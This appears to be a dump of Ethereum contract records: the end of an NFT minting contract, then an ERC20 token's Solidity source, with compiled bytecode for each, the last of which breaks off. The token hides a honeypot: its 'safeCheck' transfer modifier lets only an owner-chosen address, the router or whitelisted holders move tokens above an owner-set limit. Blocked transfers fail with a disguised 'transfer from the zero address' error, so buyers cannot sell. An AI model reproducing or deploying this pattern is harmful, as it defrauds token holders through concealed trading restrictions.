require(_designId < DESIGNS, 'DESIGN_NOT_FOUND');
return (uint256(nftPrices[_designId]) * 10 ** 10);
}
function mint(address _to, uint8 _designId, string calldata _uri) external payable {
require(_designId < DESIGNS, 'DESIGN_NOT_FOUND');
require(msg.value == getPrice(_designId), 'WRONG_AMOUNT');
uint256 _tokenId = tokenCount;
tokenCount++;
_setPrices(_designId);
_mint(_to, _tokenId);
_setTokenUri(_tokenId, _uri);
}
function adminWithdraw(address payable _address, uint256 _amount) external{
require(msg.sender == admin, 'NOT_ADMIN');
_address.transfer(_amount);
}
function redeem(uint256 _tokenId) canOperate(_tokenId) external {
require(!idToRedeemed[_tokenId], 'ALREADY_REDEEMED');
idToRedeemed[_tokenId] = true;
}
fallback() external payable {}
receive() external payable {}
}
|
0x6080604052600436106101225760003560e01c806370a08231116100a5578063d9f10a2b1161006c578063d9f10a2b14610348578063db006a7514610380578063e985e9c5146103a0578063f3a9f618146103e9578063f851a44014610419578063fc1cc1d11461043957005b806370a08231146102b357806395d89b41146102d3578063a22cb465146102e8578063b88d4fde14610308578063c87b56dd1461032857005b806323b872dd116100e957806323b872dd1461021357806337f1e7f214610233578063401d44821461025357806342842e0e146102735780636352211e1461029357005b806301ffc9a71461012b57806306fdde031461017a578063081812fc1461019c578063095ea7b3146101d457806318160ddd146101f457005b3661012957005b005b34801561013757600080fd5b5061016561014636600461177c565b6001600160e01b03191660009081526020819052604090205460ff1690565b60405190151581526020015b60405180910390f35b34801561018657600080fd5b5061018f61044c565b604051610171919061186e565b3480156101a857600080fd5b506101bc6101b73660046117b4565b6104de565b6040516001600160a01b039091168152602001610171565b3480156101e057600080fd5b506101296101ef36600461170a565b61053e565b34801561020057600080fd5b506003545b604051908152602001610171565b34801561021f57600080fd5b5061012961022e366004611629565b6106b9565b34801561023f57600080fd5b5061020561024e3660046117cc565b61081b565b34801561025f57600080fd5b5061012961026e3660046115c6565b6108c5565b34801561027f57600080fd5b5061012961028e366004611629565b610946565b34801561029f57600080fd5b506101bc6102ae3660046117b4565b610961565b3480156102bf57600080fd5b506102056102ce3660046115a3565b61099b565b3480156102df57600080fd5b5061018f6109df565b3480156102f457600080fd5b506101296103033660046116d9565b6109ee565b34801561031457600080fd5b50610129610323366004611669565b610a5a565b34801561033457600080fd5b5061018f6103433660046117b4565b610aa3565b34801561035457600080fd5b506103686103633660046117b4565b610b7b565b6040516001600160401b039091168152602001610171565b34801561038c57600080fd5b5061012961039b3660046117b4565b610bae565b3480156103ac57600080fd5b506101656103bb3660046115f1565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205460ff1690565b3480156103f557600080fd5b506101656104043660046117b4565b600b6020526000908152604090205460ff1681565b34801561042557600080fd5b506005546101bc906001600160a01b031681565b61012961044736600461171c565b610cac565b60606001805461045b906119fb565b80601f0160208091040260200160405190810160405280929190818152602001828054610487906119fb565b80156104d45780601f106104a9576101008083540402835291602001916104d4565b820191906000526020600020905b8154815290600101906020018083116104b757829003601f168201915b5050505050905090565b60008181526007602052604081205482906001600160a01b031661051d5760405162461bcd60e51b815260040161051490611881565b60405180910390fd5b6000838152600860205260409020546001600160a01b031691505b50919050565b60008181526007602052604090205481906001600160a01b03163381148061058957506001600160a01b0381166000908152600a6020908152604080832033845290915290205460ff165b6105cd5760405162461bcd60e51b81526020600482015260156024820152742727aa2fa7aba722a92fa7a92fa7a822a920aa27a960591b6044820152606401610514565b60008381526007602052604090205483906001600160a01b03166106035760405162461bcd60e51b815260040161051490611881565b6000848152600760205260409020546001600160a01b0390811690861681141561065a5760405162461bcd60e51b815260206004820152600860248201526724a9afa7aba722a960c11b6044820152606401610514565b60008581526008602052604080822080546001600160a01b0319166001600160a01b038a811691821790925591518893918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050505050565b60008181526007602052604090205481906001600160a01b0316338114806106f757506000828152600860205260409020546001600160a01b031633145b8061072557506001600160a01b0381166000908152600a6020908152604080832033845290915290205460ff165b6107715760405162461bcd60e51b815260206004820152601e60248201527f4e4f545f4f574e45525f415050524f5645445f4f525f4f50455241544f5200006044820152606401610514565b60008381526007602052604090205483906001600160a01b03166107a75760405162461bcd60e51b815260040161051490611881565b6000848152600760205260409020546001600160a01b0390811690871681146107e25760405162461bcd60e51b8152600401610514906118ce565b6001600160a01b0386166108085760405162461bcd60e51b8152600401610514906118a8565b6108128686610da2565b50505050505050565b6000600460ff8316106108635760405162461bcd60e51b815260206004820152601060248201526f111154d251d397d393d517d193d5539160821b6044820152606401610514565b60048260ff166004811061088757634e487b7160e01b600052603260045260246000fd5b600491828204019190066008029054906101000a90046001600160401b03166001600160401b03166402540be4006108bf919061194b565b92915050565b6005546001600160a01b0316331461090b5760405162461bcd60e51b81526020600482015260096024820152682727aa2fa0a226a4a760b91b6044820152606401610514565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610941573d6000803e3d6000fd5b505050565b61094183838360405180602001604052806000815250610edb565b6000818152600760205260409020546001600160a01b0316806109965760405162461bcd60e51b815260040161051490611881565b919050565b60006001600160a01b0382166109c35760405162461bcd60e51b8152600401610514906118a8565b506001600160a01b031660009081526009602052604090205490565b60606002805461045b906119fb565b336000818152600a602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610a9c85858585858080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250610edb92505050565b5050505050565b60008181526007602052604090205460609082906001600160a01b0316610adc5760405162461bcd60e51b815260040161051490611881565b60008381526006602052604090208054610af5906119fb565b80601f0160208091040260200160405190810160405280929190818152602001828054610b21906119fb565b8015610b6e5780601f10610b4357610100808354040283529160200191610b6e565b820191906000526020600020905b815481529060010190602001808311610b5157829003601f168201915b5050505050915050919050565b60048160048110610b8b57600080fd5b60049182820401919006600802915054906101000a90046001600160401b031681565b60008181526007602052604090205481906001600160a01b031633811480610bf957506001600160a01b0381166000908152600a6020908152604080832033845290915290205460ff165b610c3d5760405162461bcd60e51b81526020600482015260156024820152742727aa2fa7aba722a92fa7a92fa7a822a920aa27a960591b6044820152606401610514565b6000838152600b602052604090205460ff1615610c8f5760405162461bcd60e51b815260206004820152601060248201526f1053149150511657d49151115153515160821b6044820152606401610514565b50506000908152600b60205260409020805460ff19166001179055565b600460ff841610610cf25760405162461bcd60e51b815260206004820152601060248201526f111154d251d397d393d517d193d5539160821b6044820152606401610514565b610cfb8361081b565b3414610d385760405162461bcd60e51b815260206004820152600c60248201526b15d493d391d7d05353d5539560a21b6044820152606401610514565b600380549081906000610d4a83611a30565b9190505550610d5884611137565b610d628582611319565b610a9c8184848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061141c92505050565b6000818152600760209081526040808320546008909252909120546001600160a01b03918216911615610dec57600082815260086020526040902080546001600160a01b03191690555b6000828152600760205260409020546001600160a01b03828116911614610e255760405162461bcd60e51b8152600401610514906118ce565b6001600160a01b0381166000908152600960205260408120805491610e49836119e4565b9091555050600082815260076020908152604080832080546001600160a01b0319166001600160a01b038816908117909155835260099091528120805491610e9083611a30565b919050555081836001600160a01b0316826001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60008281526007602052604090205482906001600160a01b031633811480610f1957506000828152600860205260409020546001600160a01b031633145b80610f4757506001600160a01b0381166000908152600a6020908152604080832033845290915290205460ff165b610f935760405162461bcd60e51b815260206004820152601e60248201527f4e4f545f4f574e45525f415050524f5645445f4f525f4f50455241544f5200006044820152606401610514565b60008481526007602052604090205484906001600160a01b0316610fc95760405162461bcd60e51b815260040161051490611881565b6000858152600760205260409020546001600160a01b0390811690881681146110045760405162461bcd60e51b8152600401610514906118ce565b6001600160a01b03871661102a5760405162461bcd60e51b8152600401610514906118a8565b6110348787610da2565b61103d87611477565b1561112d57604051630a85bd0160e11b81526000906001600160a01b0389169063150b7a02906110779033908d908c908c90600401611831565b602060405180830381600087803b15801561109157600080fd5b505af11580156110a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c99190611798565b9050630a85bd0160e11b6001600160e01b031982161461112b5760405162461bcd60e51b815260206004820152601760248201527f4e4f545f41424c455f544f5f524543454956455f4e46540000000000000000006044820152606401610514565b505b5050505050505050565b60005b6004811015611315578160ff1681141561120b576103e861115c601e826118f1565b63ffffffff166004836004811061118357634e487b7160e01b600052603260045260246000fd5b600491828204019190066008029054906101000a90046001600160401b03166111ac919061196a565b6111b69190611919565b600482600481106111d757634e487b7160e01b600052603260045260246000fd5b600491828204019190066008026101000a8154816001600160401b0302191690836001600160401b03160217905550611303565b6000611219600160046119c1565b60ff166103e8601460048581811061124157634e487b7160e01b600052603260045260246000fd5b600491828204019190066008029054906101000a90046001600160401b031661126a919061196a565b6112749190611919565b61127e9190611919565b6001600160401b031690508063ffffffff16600483600481106112b157634e487b7160e01b600052603260045260246000fd5b600491828204019190066008028282829054906101000a90046001600160401b03166112dd9190611999565b92506101000a8154816001600160401b0302191690836001600160401b03160217905550505b8061130d81611a30565b91505061113a565b5050565b6001600160a01b03821661133f5760405162461bcd60e51b8152600401610514906118a8565b6000818152600760205260409020546001600160a01b0316156113995760405162461bcd60e51b81526020600482015260126024820152714e46545f414c52454144595f45584953545360701b6044820152606401610514565b600081815260076020908152604080832080546001600160a01b0319166001600160a01b0387169081179091558352600990915281208054916113db83611a30565b909155505060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60008281526007602052604090205482906001600160a01b03166114525760405162461bcd60e51b815260040161051490611881565b60008381526006602090815260409091208351611471928501906114b3565b50505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906114ab5750808214155b949350505050565b8280546114bf906119fb565b90600052602060002090601f0160209004810192826114e15760008555611527565b82601f106114fa57805160ff1916838001178555611527565b82800160010185558215611527579182015b8281111561152757825182559160200191906001019061150c565b50611533929150611537565b5090565b5b808211156115335760008155600101611538565b60008083601f84011261155d578182fd5b5081356001600160401b03811115611573578182fd5b60208301915083602082850101111561158b57600080fd5b9250929050565b803560ff8116811461099657600080fd5b6000602082840312156115b4578081fd5b81356115bf81611a61565b9392505050565b600080604083850312156115d8578081fd5b82356115e381611a61565b946020939093013593505050565b60008060408385031215611603578182fd5b823561160e81611a61565b9150602083013561161e81611a61565b809150509250929050565b60008060006060848603121561163d578081fd5b833561164881611a61565b9250602084013561165881611a61565b929592945050506040919091013590565b600080600080600060808688031215611680578081fd5b853561168b81611a61565b9450602086013561169b81611a61565b93506040860135925060608601356001600160401b038111156116bc578182fd5b6116c88882890161154c565b969995985093965092949392505050565b600080604083850312156116eb578182fd5b82356116f681611a61565b91506020830135801515811461161e578182fd5b600080604083850312156115d8578182fd5b60008060008060608587031215611731578384fd5b843561173c81611a61565b935061174a60208601611592565b925060408501356001600160401b03811115611764578283fd5b6117708782880161154c565b95989497509550505050565b60006020828403121561178d578081fd5b81356115bf81611a79565b6000602082840312156117a9578081fd5b81516115bf81611a79565b6000602082840312156117c5578081fd5b5035919050565b6000602082840312156117dd578081fd5b6115bf82611592565b60008151808452815b8181101561180b576020818501810151868301820152016117ef565b8181111561181c5782602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611864908301846117e6565b9695505050505050565b6020815260006115bf60208301846117e6565b6020808252600d908201526c1393d517d59053125117d39195609a1b604082015260600190565b6020808252600c908201526b5a45524f5f4144445245535360a01b604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b600063ffffffff80831681851680830382111561191057611910611a4b565b01949350505050565b60006001600160401b038084168061193f57634e487b7160e01b83526012600452602483fd5b92169190910492915050565b600081600019048311821515161561196557611965611a4b565b500290565b60006001600160401b038083168185168183048111821515161561199057611990611a4b565b02949350505050565b60006001600160401b03838116908316818110156119b9576119b9611a4b565b039392505050565b600060ff821660ff8416808210156119db576119db611a4b565b90039392505050565b6000816119f3576119f3611a4b565b506000190190565b600181811c90821680611a0f57607f821691505b6020821081141561053857634e487b7160e01b600052602260045260246000fd5b6000600019821415611a4457611a44611a4b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611a7657600080fd5b50565b6001600160e01b031981168114611a7657600080fdfea264697066735822122013707869182f9e484b3b7234ef4496caad4925783a042359a64212a3eb14ff3064736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 3,576 |
0xa07b03c84377c2e4204dfb0513ed953c94b169ba
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_GME(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16